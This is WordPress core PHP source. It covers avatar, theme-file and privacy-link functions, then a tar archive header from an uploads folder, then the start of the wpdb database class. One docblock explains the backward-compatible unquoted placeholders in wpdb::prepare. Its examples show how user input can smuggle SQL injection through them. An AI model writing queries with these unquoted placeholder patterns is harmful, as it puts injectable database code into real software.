 *     @type string|false $url          The URL of the avatar that was found, or false.
 * }
 */
function get_avatar_data( $id_or_email, $args = null ) {
	$args = wp_parse_args(
		$args,
		array(
			'size'           => 96,
			'height'         => null,
			'width'          => null,
			'default'        => get_option( 'avatar_default', 'mystery' ),
			'force_default'  => false,
			'rating'         => get_option( 'avatar_rating' ),
			'scheme'         => null,
			'processed_args' => null, // If used, should be a reference.
			'extra_attr'     => '',
		)
	);

	if ( is_numeric( $args['size'] ) ) {
		$args['size'] = absint( $args['size'] );
		if ( ! $args['size'] ) {
			$args['size'] = 96;
		}
	} else {
		$args['size'] = 96;
	}

	if ( is_numeric( $args['height'] ) ) {
		$args['height'] = absint( $args['height'] );
		if ( ! $args['height'] ) {
			$args['height'] = $args['size'];
		}
	} else {
		$args['height'] = $args['size'];
	}

	if ( is_numeric( $args['width'] ) ) {
		$args['width'] = absint( $args['width'] );
		if ( ! $args['width'] ) {
			$args['width'] = $args['size'];
		}
	} else {
		$args['width'] = $args['size'];
	}

	if ( empty( $args['default'] ) ) {
		$args['default'] = get_option( 'avatar_default', 'mystery' );
	}

	switch ( $args['default'] ) {
		case 'mm':
		case 'mystery':
		case 'mysteryman':
			$args['default'] = 'mm';
			break;
		case 'gravatar_default':
			$args['default'] = false;
			break;
	}

	$args['force_default'] = (bool) $args['force_default'];

	$args['rating'] = strtolower( $args['rating'] );

	$args['found_avatar'] = false;

	/**
	 * Filters whether to retrieve the avatar URL early.
	 *
	 * Passing a non-null value in the 'url' member of the return array will
	 * effectively short circuit get_avatar_data(), passing the value through
	 * the {@see 'get_avatar_data'} filter and returning early.
	 *
	 * @since 4.2.0
	 *
	 * @param array $args        Arguments passed to get_avatar_data(), after processing.
	 * @param mixed $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar SHA-256 or MD5 hash,
	 *                           user email, WP_User object, WP_Post object, or WP_Comment object.
	 */
	$args = apply_filters( 'pre_get_avatar_data', $args, $id_or_email );

	if ( isset( $args['url'] ) ) {
		/** This filter is documented in wp-includes/link-template.php */
		return apply_filters( 'get_avatar_data', $args, $id_or_email );
	}

	$email_hash = '';
	$user       = false;
	$email      = false;

	if ( is_object( $id_or_email ) && isset( $id_or_email->comment_ID ) ) {
		$id_or_email = get_comment( $id_or_email );
	}

	// Process the user identifier.
	if ( is_numeric( $id_or_email ) ) {
		$user = get_user_by( 'id', absint( $id_or_email ) );
	} elseif ( is_string( $id_or_email ) ) {
		if ( str_contains( $id_or_email, '@sha256.gravatar.com' ) ) {
			// SHA-256 hash.
			list( $email_hash ) = explode( '@', $id_or_email );
		} elseif ( str_contains( $id_or_email, '@md5.gravatar.com' ) ) {
			// MD5 hash.
			list( $email_hash ) = explode( '@', $id_or_email );
		} else {
			// Email address.
			$email = $id_or_email;
		}
	} elseif ( $id_or_email instanceof WP_User ) {
		// User object.
		$user = $id_or_email;
	} elseif ( $id_or_email instanceof WP_Post ) {
		// Post object.
		$user = get_user_by( 'id', (int) $id_or_email->post_author );
	} elseif ( $id_or_email instanceof WP_Comment ) {
		if ( ! is_avatar_comment_type( get_comment_type( $id_or_email ) ) ) {
			$args['url'] = false;
			/** This filter is documented in wp-includes/link-template.php */
			return apply_filters( 'get_avatar_data', $args, $id_or_email );
		}

		if ( ! empty( $id_or_email->user_id ) ) {
			$user = get_user_by( 'id', (int) $id_or_email->user_id );
		}
		if ( ( ! $user || is_wp_error( $user ) ) && ! empty( $id_or_email->comment_author_email ) ) {
			$email = $id_or_email->comment_author_email;
		}
	}

	if ( ! $email_hash ) {
		if ( $user ) {
			$email = $user->user_email;
		}

		if ( $email ) {
			$email_hash = hash( 'sha256', strtolower( trim( $email ) ) );
		}
	}

	if ( $email_hash ) {
		$args['found_avatar'] = true;
	}

	$url_args = array(
		's' => $args['size'],
		'd' => $args['default'],
		'f' => $args['force_default'] ? 'y' : false,
		'r' => $args['rating'],
	);

	// Handle additional parameters for the 'initials' avatar type.
	if ( 'initials' === $args['default'] ) {
		$name = '';

		if ( $user ) {
			if ( '' !== $user->display_name ) {
				$name = $user->display_name;
			} elseif ( '' !== $user->first_name && '' !== $user->last_name ) {
				$name = sprintf(
					/* translators: 1: User's first name, 2: Last name. */
					_x( '%1$s %2$s', 'Display name based on first name and last name' ),
					$user->first_name,
					$user->last_name
				);
			} else {
				$name = $user->user_login;
			}
		} elseif ( $id_or_email instanceof WP_Comment ) {
			$name = $id_or_email->comment_author;
		} elseif ( is_string( $id_or_email ) && false !== strpos( $id_or_email, '@' ) ) {
			$name = str_replace( array( '.', '_', '-' ), ' ', substr( $id_or_email, 0, strpos( $id_or_email, '@' ) ) );
		}

		if ( '' !== $name ) {
			if ( ! str_contains( $name, ' ' ) || preg_match( '/\p{Han}|\p{Hiragana}|\p{Katakana}|\p{Hangul}/u', $name ) ) {
				$initials = mb_substr( $name, 0, min( 2, mb_strlen( $name, 'UTF-8' ) ), 'UTF-8' );
			} else {
				$first    = mb_substr( $name, 0, 1, 'UTF-8' );
				$last     = mb_substr( $name, strrpos( $name, ' ' ) + 1, 1, 'UTF-8' );
				$initials = $first . $last;
			}

			$url_args['initials'] = $initials;
		}
	}

	/*
	 * Gravatars are always served over HTTPS.
	 *
	 * The Gravatar website redirects HTTP requests to HTTPS URLs so always
	 * use the HTTPS scheme to avoid unnecessary redirects.
	 */
	$url = 'https://secure.gravatar.com/avatar/' . $email_hash;

	$url = add_query_arg(
		rawurlencode_deep( array_filter( $url_args ) ),
		$url
	);

	/**
	 * Filters the avatar URL.
	 *
	 * @since 4.2.0
	 *
	 * @param string $url         The URL of the avatar.
	 * @param mixed  $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar SHA-256 or MD5 hash,
	 *                            user email, WP_User object, WP_Post object, or WP_Comment object.
	 * @param array  $args        Arguments passed to get_avatar_data(), after processing.
	 */
	$args['url'] = apply_filters( 'get_avatar_url', $url, $id_or_email, $args );

	/**
	 * Filters the avatar data.
	 *
	 * @since 4.2.0
	 *
	 * @param array $args        Arguments passed to get_avatar_data(), after processing.
	 * @param mixed $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar SHA-256 or MD5 hash,
	 *                           user email, WP_User object, WP_Post object, or WP_Comment object.
	 */
	return apply_filters( 'get_avatar_data', $args, $id_or_email );
}

/**
 * Retrieves the URL of a file in the theme.
 *
 * Searches in the stylesheet directory before the template directory so themes
 * which inherit from a parent theme can just override one file.
 *
 * @since 4.7.0
 *
 * @param string $file Optional. File to search for in the stylesheet directory.
 * @return string The URL of the file.
 */
function get_theme_file_uri( $file = '' ) {
	$file = ltrim( $file, '/' );

	$stylesheet_directory = get_stylesheet_directory();

	if ( empty( $file ) ) {
		$url = get_stylesheet_directory_uri();
	} elseif ( get_template_directory() !== $stylesheet_directory && file_exists( $stylesheet_directory . '/' . $file ) ) {
		$url = get_stylesheet_directory_uri() . '/' . $file;
	} else {
		$url = get_template_directory_uri() . '/' . $file;
	}

	/**
	 * Filters the URL to a file in the theme.
	 *
	 * @since 4.7.0
	 *
	 * @param string $url  The file URL.
	 * @param string $file The requested file to search for.
	 */
	return apply_filters( 'theme_file_uri', $url, $file );
}

/**
 * Retrieves the URL of a file in the parent theme.
 *
 * @since 4.7.0
 *
 * @param string $file Optional. File to return the URL for in the template directory.
 * @return string The URL of the file.
 */
function get_parent_theme_file_uri( $file = '' ) {
	$file = ltrim( $file, '/' );

	if ( empty( $file ) ) {
		$url = get_template_directory_uri();
	} else {
		$url = get_template_directory_uri() . '/' . $file;
	}

	/**
	 * Filters the URL to a file in the parent theme.
	 *
	 * @since 4.7.0
	 *
	 * @param string $url  The file URL.
	 * @param string $file The requested file to search for.
	 */
	return apply_filters( 'parent_theme_file_uri', $url, $file );
}

/**
 * Retrieves the path of a file in the theme.
 *
 * Searches in the stylesheet directory before the template directory so themes
 * which inherit from a parent theme can just override one file.
 *
 * @since 4.7.0
 *
 * @param string $file Optional. File to search for in the stylesheet directory.
 * @return string The path of the file.
 */
function get_theme_file_path( $file = '' ) {
	$file = ltrim( $file, '/' );

	$stylesheet_directory = get_stylesheet_directory();
	$template_directory   = get_template_directory();

	if ( empty( $file ) ) {
		$path = $stylesheet_directory;
	} elseif ( $stylesheet_directory !== $template_directory && file_exists( $stylesheet_directory . '/' . $file ) ) {
		$path = $stylesheet_directory . '/' . $file;
	} else {
		$path = $template_directory . '/' . $file;
	}

	/**
	 * Filters the path to a file in the theme.
	 *
	 * @since 4.7.0
	 *
	 * @param string $path The file path.
	 * @param string $file The requested file to search for.
	 */
	return apply_filters( 'theme_file_path', $path, $file );
}

/**
 * Retrieves the path of a file in the parent theme.
 *
 * @since 4.7.0
 *
 * @param string $file Optional. File to return the path for in the template directory.
 * @return string The path of the file.
 */
function get_parent_theme_file_path( $file = '' ) {
	$file = ltrim( $file, '/' );

	if ( empty( $file ) ) {
		$path = get_template_directory();
	} else {
		$path = get_template_directory() . '/' . $file;
	}

	/**
	 * Filters the path to a file in the parent theme.
	 *
	 * @since 4.7.0
	 *
	 * @param string $path The file path.
	 * @param string $file The requested file to search for.
	 */
	return apply_filters( 'parent_theme_file_path', $path, $file );
}

/**
 * Retrieves the URL to the privacy policy page.
 *
 * @since 4.9.6
 *
 * @return string The URL to the privacy policy page. Empty string if it doesn't exist.
 */
function get_privacy_policy_url() {
	$url            = '';
	$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );

	if ( ! empty( $policy_page_id ) && get_post_status( $policy_page_id ) === 'publish' ) {
		$url = (string) get_permalink( $policy_page_id );
	}

	/**
	 * Filters the URL of the privacy policy page.
	 *
	 * @since 4.9.6
	 *
	 * @param string $url            The URL to the privacy policy page. Empty string
	 *                               if it doesn't exist.
	 * @param int    $policy_page_id The ID of privacy policy page.
	 */
	return apply_filters( 'privacy_policy_url', $url, $policy_page_id );
}

/**
 * Displays the privacy policy link with formatting, when applicable.
 *
 * @since 4.9.6
 *
 * @param string $before Optional. Display before privacy policy link. Default empty.
 * @param string $after  Optional. Display after privacy policy link. Default empty.
 */
function the_privacy_policy_link( $before = '', $after = '' ) {
	echo get_the_privacy_policy_link( $before, $after );
}

/**
 * Returns the privacy policy link with formatting, when applicable.
 *
 * @since 4.9.6
 * @since 6.2.0 Added 'privacy-policy' rel attribute.
 *
 * @param string $before Optional. Display before privacy policy link. Default empty.
 * @param string $after  Optional. Display after privacy policy link. Default empty.
 * @return string Markup for the link and surrounding elements. Empty string if it
 *                doesn't exist.
 */
function get_the_privacy_policy_link( $before = '', $after = '' ) {
	$link               = '';
	$privacy_policy_url = get_privacy_policy_url();
	$policy_page_id     = (int) get_option( 'wp_page_for_privacy_policy' );
	$page_title         = ( $policy_page_id ) ? get_the_title( $policy_page_id ) : '';

	if ( $privacy_policy_url && $page_title ) {
		$link = sprintf(
			'<a class="privacy-policy-link" href="%s" rel="privacy-policy">%s</a>',
			esc_url( $privacy_policy_url ),
			esc_html( $page_title )
		);
	}

	/**
	 * Filters the privacy policy link.
	 *
	 * @since 4.9.6
	 *
	 * @param string $link               The privacy policy link. Empty string if it
	 *                                   doesn't exist.
	 * @param string $privacy_policy_url The URL of the privacy policy. Empty string
	 *                                   if it doesn't exist.
	 */
	$link = apply_filters( 'the_privacy_policy_link', $link, $privacy_policy_url );

	if ( $link ) {
		return $before . $link . $after;
	}

	return '';
}

/**
 * Returns an array of URL hosts which are considered to be internal hosts.
 *
 * By default the list of internal hosts is comprised of the host name of
 * the site's home_url() (as parsed by wp_parse_url()).
 *
 * This list is used when determining if a specified URL is a link to a page on
 * the site itself or a link offsite (to an external host). This is used, for
 * example, when determining if the "nofollow" attribute should be applied to a
 * link.
 *
 * @see wp_is_internal_link
 *
 * @since 6.2.0
 *
 * @return string[] An array of URL hosts.
 */
function wp_internal_hosts() {
	static $internal_hosts;

	if ( empty( $internal_hosts ) ) {
		/**
		 * Filters the array of URL hosts which are considered internal.
		 *
		 * @since 6.2.0
		 *
		 * @param string[] $internal_hosts An array of internal URL hostnames.
		 */
		$internal_hosts = apply_filters(
			'wp_internal_hosts',
			array(
				wp_parse_url( home_url(), PHP_URL_HOST ),
			)
		);
		$internal_hosts = array_unique(
			array_map( 'strtolower', (array) $internal_hosts )
		);
	}

	return $internal_hosts;
}

/**
 * Determines whether or not the specified URL is of a host included in the internal hosts list.
 *
 * @see wp_internal_hosts()
 *
 * @since 6.2.0
 *
 * @param string $link The URL to test.
 * @return bool Returns true for internal URLs and false for all other URLs.
 */
function wp_is_internal_link( $link ) {
	$link = strtolower( $link );
	if ( in_array( wp_parse_url( $link, PHP_URL_SCHEME ), wp_allowed_protocols(), true ) ) {
		return in_array( wp_parse_url( $link, PHP_URL_HOST ), wp_internal_hosts(), true );
	}
	return false;
}
uploads/wyw/class-wpdb.php.tar000066600000353000152443022640012405 0ustar00home/cienp/public_html/inct-inovamed/wp-includes/class-wpdb.php000064400000347543152442705570020666 0ustar00<?php
/**
 * WordPress database access abstraction class.
 *
 * Original code from {@link http://php.justinvincent.com Justin Vincent (justin@visunet.ie)}
 *
 * @package WordPress
 * @subpackage Database
 * @since 0.71
 */

/**
 * @since 0.71
 */
define( 'EZSQL_VERSION', 'WP1.25' );

/**
 * @since 0.71
 */
define( 'OBJECT', 'OBJECT' );
// phpcs:ignore Generic.NamingConventions.UpperCaseConstantName.ConstantNotUpperCase
define( 'object', 'OBJECT' ); // Back compat.

/**
 * @since 2.5.0
 */
define( 'OBJECT_K', 'OBJECT_K' );

/**
 * @since 0.71
 */
define( 'ARRAY_A', 'ARRAY_A' );

/**
 * @since 0.71
 */
define( 'ARRAY_N', 'ARRAY_N' );

/**
 * WordPress database access abstraction class.
 *
 * This class is used to interact with a database without needing to use raw SQL statements.
 * By default, WordPress uses this class to instantiate the global $wpdb object, providing
 * access to the WordPress database.
 *
 * It is possible to replace the global instance with your own by setting the $wpdb global variable
 * in wp-content/db.php file to your class. The wpdb class will still be included, so you can
 * extend it or simply use your own.
 *
 * @link https://developer.wordpress.org/reference/classes/wpdb/
 *
 * @since 0.71
 */
#[AllowDynamicProperties]
class wpdb {

	/**
	 * Whether to show SQL/DB errors.
	 *
	 * Default is to show errors if both WP_DEBUG and WP_DEBUG_DISPLAY evaluate to true.
	 *
	 * @since 0.71
	 *
	 * @var bool
	 */
	public $show_errors = false;

	/**
	 * Whether to suppress errors during the DB bootstrapping. Default false.
	 *
	 * @since 2.5.0
	 *
	 * @var bool
	 */
	public $suppress_errors = false;

	/**
	 * The error encountered during the last query.
	 *
	 * @since 2.5.0
	 *
	 * @var string
	 */
	public $last_error = '';

	/**
	 * The number of queries made.
	 *
	 * @since 1.2.0
	 *
	 * @var int
	 */
	public $num_queries = 0;

	/**
	 * Count of rows returned by the last query.
	 *
	 * @since 0.71
	 *
	 * @var int
	 */
	public $num_rows = 0;

	/**
	 * Count of rows affected by the last query.
	 *
	 * @since 0.71
	 *
	 * @var int
	 */
	public $rows_affected = 0;

	/**
	 * The ID generated for an AUTO_INCREMENT column by the last query (usually INSERT).
	 *
	 * @since 0.71
	 *
	 * @var int
	 */
	public $insert_id = 0;

	/**
	 * The last query made.
	 *
	 * @since 0.71
	 *
	 * @var string
	 */
	public $last_query;

	/**
	 * Results of the last query.
	 *
	 * @since 0.71
	 *
	 * @var stdClass[]|null
	 */
	public $last_result;

	/**
	 * Database query result.
	 *
	 * Possible values:
	 *
	 * - `mysqli_result` instance for successful SELECT, SHOW, DESCRIBE, or EXPLAIN queries
	 * - `true` for other query types that were successful
	 * - `null` if a query is yet to be made or if the result has since been flushed
	 * - `false` if the query returned an error
	 *
	 * @since 0.71
	 *
	 * @var mysqli_result|bool|null
	 */
	protected $result;

	/**
	 * Cached column info, for confidence checking data before inserting.
	 *
	 * @since 4.2.0
	 *
	 * @var array
	 */
	protected $col_meta = array();

	/**
	 * Calculated character sets keyed by table name.
	 *
	 * @since 4.2.0
	 *
	 * @var string[]
	 */
	protected $table_charset = array();

	/**
	 * Whether text fields in the current query need to be confidence checked.
	 *
	 * @since 4.2.0
	 *
	 * @var bool
	 */
	protected $check_current_query = true;

	/**
	 * Flag to ensure we don't run into recursion problems when checking the collation.
	 *
	 * @since 4.2.0
	 *
	 * @see wpdb::check_safe_collation()
	 * @var bool
	 */
	private $checking_collation = false;

	/**
	 * Saved info on the table column.
	 *
	 * @since 0.71
	 *
	 * @var array
	 */
	protected $col_info;

	/**
	 * Log of queries that were executed, for debugging purposes.
	 *
	 * @since 1.5.0
	 * @since 2.5.0 The third element in each query log was added to record the calling functions.
	 * @since 5.1.0 The fourth element in each query log was added to record the start time.
	 * @since 5.3.0 The fifth element in each query log was added to record custom data.
	 *
	 * @var array[] {
	 *     Array of arrays containing information about queries that were executed.
	 *
	 *     @type array ...$0 {
	 *         Data for each query.
	 *
	 *         @type string $0 The query's SQL.
	 *         @type float  $1 Total time spent on the query, in seconds.
	 *         @type string $2 Comma-separated list of the calling functions.
	 *         @type float  $3 Unix timestamp of the time at the start of the query.
	 *         @type array  $4 Custom query data.
	 *     }
	 * }
	 */
	public $queries;

	/**
	 * The number of times to retry reconnecting before dying. Default 5.
	 *
	 * @since 3.9.0
	 *
	 * @see wpdb::check_connection()
	 * @var int
	 */
	protected $reconnect_retries = 5;

	/**
	 * WordPress table prefix.
	 *
	 * You can set this to have multiple WordPress installations in a single database.
	 *
	 * @since 2.5.0
	 *
	 * @var string
	 */
	public $prefix = '';

	/**
	 * WordPress base table prefix.
	 *
	 * @since 3.0.0
	 *
	 * @var string
	 */
	public $base_prefix;

	/**
	 * Whether the database queries are ready to start executing.
	 *
	 * @since 2.3.2
	 *
	 * @var bool
	 */
	public $ready = false;

	/**
	 * Blog ID.
	 *
	 * @since 3.0.0
	 *
	 * @var int
	 */
	public $blogid = 0;

	/**
	 * Site ID.
	 *
	 * @since 3.0.0
	 *
	 * @var int
	 */
	public $siteid = 0;

	/**
	 * List of WordPress per-site tables.
	 *
	 * @since 2.5.0
	 *
	 * @see wpdb::tables()
	 * @var string[]
	 */
	public $tables = array(
		'posts',
		'comments',
		'links',
		'options',
		'postmeta',
		'terms',
		'term_taxonomy',
		'term_relationships',
		'termmeta',
		'commentmeta',
	);

	/**
	 * List of deprecated WordPress tables.
	 *
	 * 'categories', 'post2cat', and 'link2cat' were deprecated in 2.3.0, db version 5539.
	 *
	 * @since 2.9.0
	 *
	 * @see wpdb::tables()
	 * @var string[]
	 */
	public $old_tables = array( 'categories', 'post2cat', 'link2cat' );

	/**
	 * List of WordPress global tables.
	 *
	 * @since 3.0.0
	 *
	 * @see wpdb::tables()
	 * @var string[]
	 */
	public $global_tables = array( 'users', 'usermeta' );

	/**
	 * List of Multisite global tables.
	 *
	 * @since 3.0.0
	 *
	 * @see wpdb::tables()
	 * @var string[]
	 */
	public $ms_global_tables = array(
		'blogs',
		'blogmeta',
		'signups',
		'site',
		'sitemeta',
		'registration_log',
	);

	/**
	 * List of deprecated WordPress Multisite global tables.
	 *
	 * @since 6.1.0
	 *
	 * @see wpdb::tables()
	 * @var string[]
	 */
	public $old_ms_global_tables = array( 'sitecategories' );

	/**
	 * WordPress Comments table.
	 *
	 * @since 1.5.0
	 *
	 * @var string
	 */
	public $comments;

	/**
	 * WordPress Comment Metadata table.
	 *
	 * @since 2.9.0
	 *
	 * @var string
	 */
	public $commentmeta;

	/**
	 * WordPress Links table.
	 *
	 * @since 1.5.0
	 *
	 * @var string
	 */
	public $links;

	/**
	 * WordPress Options table.
	 *
	 * @since 1.5.0
	 *
	 * @var string
	 */
	public $options;

	/**
	 * WordPress Post Metadata table.
	 *
	 * @since 1.5.0
	 *
	 * @var string
	 */
	public $postmeta;

	/**
	 * WordPress Posts table.
	 *
	 * @since 1.5.0
	 *
	 * @var string
	 */
	public $posts;

	/**
	 * WordPress Terms table.
	 *
	 * @since 2.3.0
	 *
	 * @var string
	 */
	public $terms;

	/**
	 * WordPress Term Relationships table.
	 *
	 * @since 2.3.0
	 *
	 * @var string
	 */
	public $term_relationships;

	/**
	 * WordPress Term Taxonomy table.
	 *
	 * @since 2.3.0
	 *
	 * @var string
	 */
	public $term_taxonomy;

	/**
	 * WordPress Term Meta table.
	 *
	 * @since 4.4.0
	 *
	 * @var string
	 */
	public $termmeta;

	//
	// Global and Multisite tables
	//

	/**
	 * WordPress User Metadata table.
	 *
	 * @since 2.3.0
	 *
	 * @var string
	 */
	public $usermeta;

	/**
	 * WordPress Users table.
	 *
	 * @since 1.5.0
	 *
	 * @var string
	 */
	public $users;

	/**
	 * Multisite Blogs table.
	 *
	 * @since 3.0.0
	 *
	 * @var string|null
	 */
	public $blogs;

	/**
	 * Multisite Blog Metadata table.
	 *
	 * @since 5.1.0
	 *
	 * @var string|null
	 */
	public $blogmeta;

	/**
	 * Multisite Registration Log table.
	 *
	 * @since 3.0.0
	 *
	 * @var string|null
	 */
	public $registration_log;

	/**
	 * Multisite Signups table.
	 *
	 * @since 3.0.0
	 *
	 * @var string|null
	 */
	public $signups;

	/**
	 * Multisite Sites table.
	 *
	 * @since 3.0.0
	 *
	 * @var string|null
	 */
	public $site;

	/**
	 * Multisite Sitewide Terms table.
	 *
	 * @since 3.0.0
	 *
	 * @var string|null
	 */
	public $sitecategories;

	/**
	 * Multisite Site Metadata table.
	 *
	 * @since 3.0.0
	 *
	 * @var string|null
	 */
	public $sitemeta;

	/**
	 * Format specifiers for DB columns.
	 *
	 * Columns not listed here default to %s. Initialized during WP load.
	 * Keys are column names, values are format types: 'ID' => '%d'.
	 *
	 * @since 2.8.0
	 *
	 * @see wpdb::prepare()
	 * @see wpdb::insert()
	 * @see wpdb::update()
	 * @see wpdb::delete()
	 * @see wp_set_wpdb_vars()
	 * @var array
	 */
	public $field_types = array();

	/**
	 * Database table columns charset.
	 *
	 * @since 2.2.0
	 *
	 * @var string
	 */
	public $charset;

	/**
	 * Database table columns collate.
	 *
	 * @since 2.2.0
	 *
	 * @var string
	 */
	public $collate;

	/**
	 * Database Username.
	 *
	 * @since 2.9.0
	 *
	 * @var string
	 */
	protected $dbuser;

	/**
	 * Database Password.
	 *
	 * @since 3.1.0
	 *
	 * @var string
	 */
	protected $dbpassword;

	/**
	 * Database Name.
	 *
	 * @since 3.1.0
	 *
	 * @var string
	 */
	protected $dbname;

	/**
	 * Database Host.
	 *
	 * @since 3.1.0
	 *
	 * @var string
	 */
	protected $dbhost;

	/**
	 * Database handle.
	 *
	 * Possible values:
	 *
	 * - `mysqli` instance during normal operation
	 * - `null` if the connection is yet to be made or has been closed
	 * - `false` if the connection has failed
	 *
	 * @since 0.71
	 *
	 * @var mysqli|false|null
	 */
	protected $dbh;

	/**
	 * A textual description of the last query/get_row/get_var call.
	 *
	 * @since 3.0.0
	 *
	 * @var string
	 */
	public $func_call;

	/**
	 * Whether MySQL is used as the database engine.
	 *
	 * Set in wpdb::db_connect() to true, by default. This is used when checking
	 * against the required MySQL version for WordPress. Normally, a replacement
	 * database drop-in (db.php) will skip these checks, but setting this to true
	 * will force the checks to occur.
	 *
	 * @since 3.3.0
	 *
	 * @var bool
	 */
	public $is_mysql = null;

	/**
	 * A list of incompatible SQL modes.
	 *
	 * @since 3.9.0
	 *
	 * @var string[]
	 */
	protected $incompatible_modes = array(
		'NO_ZERO_DATE',
		'ONLY_FULL_GROUP_BY',
		'STRICT_TRANS_TABLES',
		'STRICT_ALL_TABLES',
		'TRADITIONAL',
		'ANSI',
	);

	/**
	 * Backward compatibility, where wpdb::prepare() has not quoted formatted/argnum placeholders.
	 *
	 * This is often used for table/field names (before %i was supported), and sometimes string formatting, e.g.
	 *
	 *     $wpdb->prepare( 'WHERE `%1$s` = "%2$s something %3$s" OR %1$s = "%4$-10s"', 'field_1', 'a', 'b', 'c' );
	 *
	 * But it's risky, e.g. forgetting to add quotes, resulting in SQL Injection vulnerabilities:
	 *
	 *     $wpdb->prepare( 'WHERE (id = %1s) OR (id = %2$s)', $_GET['id'], $_GET['id'] ); // ?id=id
	 *
	 * This feature is preserved while plugin authors update their code to use safer approaches:
	 *
	 *     $_GET['key'] = 'a`b';
	 *
	 *     $wpdb->prepare( 'WHERE %1s = %s',        $_GET['key'], $_GET['value'] ); // WHERE a`b = 'value'
	 *     $wpdb->prepare( 'WHERE `%1$s` = "%2$s"', $_GET['key'], $_GET['value'] ); // WHERE `a`b` = "value"
	 *
	 *     $wpdb->prepare( 'WHERE %i = %s',         $_GET['key'], $_GET['value'] ); // WHERE `a``b` = 'value'
	 *
	 * While changing to false will be fine for queries not using formatted/argnum placeholders,
	 * any remaining cases are most likely going to result in SQL errors (good, in a way):
	 *
	 *     $wpdb->prepare( 'WHERE %1$s = "%2$-10s"', 'my_field', 'my_value' );
	 *     true  = WHERE my_field = "my_value  "
	 *     false = WHERE 'my_field' = "'my_value  '"
	 *
	 * But there may be some queries that result in an SQL Injection vulnerability:
	 *
	 *     $wpdb->prepare( 'WHERE id = %1$s', $_GET['id'] ); // ?id=id
	 *
	 * So there may need to be a `_doing_it_wrong()` phase, after we know everyone can use
	 * identifier placeholders (%i), but before this feature is disabled or removed.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $allow_unsafe_unquoted_parameters = true;

	/**
	 * Whether to use the mysqli extension over mysql. This is no longer used as the mysql
	 * extension is no longer supported.
	 *
	 * Default true.
	 *
	 * @since 3.9.0
	 * @since 6.4.0 This property was removed.
	 * @since 6.4.1 This property was reinstated and its default value was changed to true.
	 *              The property is no longer used in core but may be accessed externally.
	 *
	 * @var bool
	 */
	private $use_mysqli = true;

	/**
	 * Whether we've managed to successfully connect at some point.
	 *
	 * @since 3.9.0
	 *
	 * @var bool
	 */
	private $has_connected = false;

	/**
	 * Time when the last query was performed.
	 *
	 * Only set when `SAVEQUERIES` is defined and truthy.
	 *
	 * @since 1.5.0
	 *
	 * @var float
	 */
	public $time_start = null;

	/**
	 * The last SQL error that was encountered.
	 *
	 * @since 2.5.0
	 *
	 * @var WP_Error|string
	 */
	public $error = null;

	/**
	 * Connects to the database server and selects a database.
	 *
	 * Does the actual setting up
	 * of the class properties and connection to the database.
	 *
	 * @since 2.0.8
	 *
	 * @link https://core.trac.wordpress.org/ticket/3354
	 *
	 * @param string $dbuser     Database user.
	 * @param string $dbpassword Database password.
	 * @param string $dbname     Database name.
	 * @param string $dbhost     Database host.
	 */
	public function __construct(
		$dbuser,
		#[\SensitiveParameter]
		$dbpassword,
		$dbname,
		$dbhost
	) {
		if ( WP_DEBUG && WP_DEBUG_DISPLAY ) {
			$this->show_errors();
		}

		$this->dbuser     = $dbuser;
		$this->dbpassword = $dbpassword;
		$this->dbname     = $dbname;
		$this->dbhost     = $dbhost;

		// wp-config.php creation will manually connect when ready.
		if ( defined( 'WP_SETUP_CONFIG' ) ) {
			return;
		}

		$this->db_connect();
	}

	/**
	 * Makes private properties readable for backward compatibility.
	 *
	 * @since 3.5.0
	 *
	 * @param string $name The private member to get, and optionally process.
	 * @return mixed The private member.
	 */
	public function __get( $name ) {
		if ( 'col_info' === $name ) {
			$this->load_col_info();
		}

		return $this->$name;
	}

	/**
	 * Makes private properties settable for backward compatibility.
	 *
	 * @since 3.5.0
	 *
	 * @param string $name  The private member to set.
	 * @param mixed  $value The value to set.
	 */
	public function __set( $name, $value ) {
		$protected_members = array(
			'col_meta',
			'table_charset',
			'check_current_query',
			'allow_unsafe_unquoted_parameters',
		);
		if ( in_array( $name, $protected_members, true ) ) {
			return;
		}
		$this->$name = $value;
	}

	/**
	 * Makes private properties check-able for backward compatibility.
	 *
	 * @since 3.5.0
	 *
	 * @param string $name The private member to check.
	 * @return bool If the member is set or not.
	 */
	public function __isset( $name ) {
		return isset( $this->$name );
	}

	/**
	 * Makes private properties un-settable for backward compatibility.
	 *
	 * @since 3.5.0
	 *
	 * @param string $name The private member to unset.
	 */
	public function __unset( $name ) {
		unset( $this->$name );
	}

	/**
	 * Sets $this->charset and $this->collate.
	 *
	 * @since 3.1.0
	 */
	public function init_charset() {
		$charset = '';
		$collate = '';

		if ( function_exists( 'is_multisite' ) && is_multisite() ) {
			$charset = 'utf8';
			if ( defined( 'DB_COLLATE' ) && DB_COLLATE ) {
				$collate = DB_COLLATE;
			} else {
				$collate = 'utf8_general_ci';
			}
		} elseif ( defined( 'DB_COLLATE' ) ) {
			$collate = DB_COLLATE;
		}

		if ( defined( 'DB_CHARSET' ) ) {
			$charset = DB_CHARSET;
		}

		$charset_collate = $this->determine_charset( $charset, $collate );

		$this->charset = $charset_collate['charset'];
		$this->collate = $charset_collate['collate'];
	}

	/**
	 * Determines the best charset and collation to use given a charset and collation.
	 *
	 * For example, when able, utf8mb4 should be used instead of utf8.
	 *
	 * @since 4.6.0
	 *
	 * @param string $charset The character set to check.
	 * @param string $collate The collation to check.
	 * @return array {
	 *     The most appropriate character set and collation to use.
	 *
	 *     @type string $charset Character set.
	 *     @type string $collate Collation.
	 * }
	 */
	public function determine_charset( $charset, $collate ) {
		if ( ( ! ( $this->dbh instanceof mysqli ) ) || empty( $this->dbh ) ) {
			return compact( 'charset', 'collate' );
		}

		if ( 'utf8' === $charset ) {
			$charset = 'utf8mb4';
		}

		if ( 'utf8mb4' === $charset ) {
			// _general_ is outdated, so we can upgrade it to _unicode_, instead.
			if ( ! $collate || 'utf8_general_ci' === $collate ) {
				$collate = 'utf8mb4_unicode_ci';
			} else {
				$collate = str_replace( 'utf8_', 'utf8mb4_', $collate );
			}
		}

		// _unicode_520_ is a better collation, we should use that when it's available.
		if ( $this->has_cap( 'utf8mb4_520' ) && 'utf8mb4_unicode_ci' === $collate ) {
			$collate = 'utf8mb4_unicode_520_ci';
		}

		return compact( 'charset', 'collate' );
	}

	/**
	 * Sets the connection's character set.
	 *
	 * @since 3.1.0
	 *
	 * @param mysqli $dbh     The connection returned by `mysqli_connect()`.
	 * @param string $charset Optional. The character set. Default null.
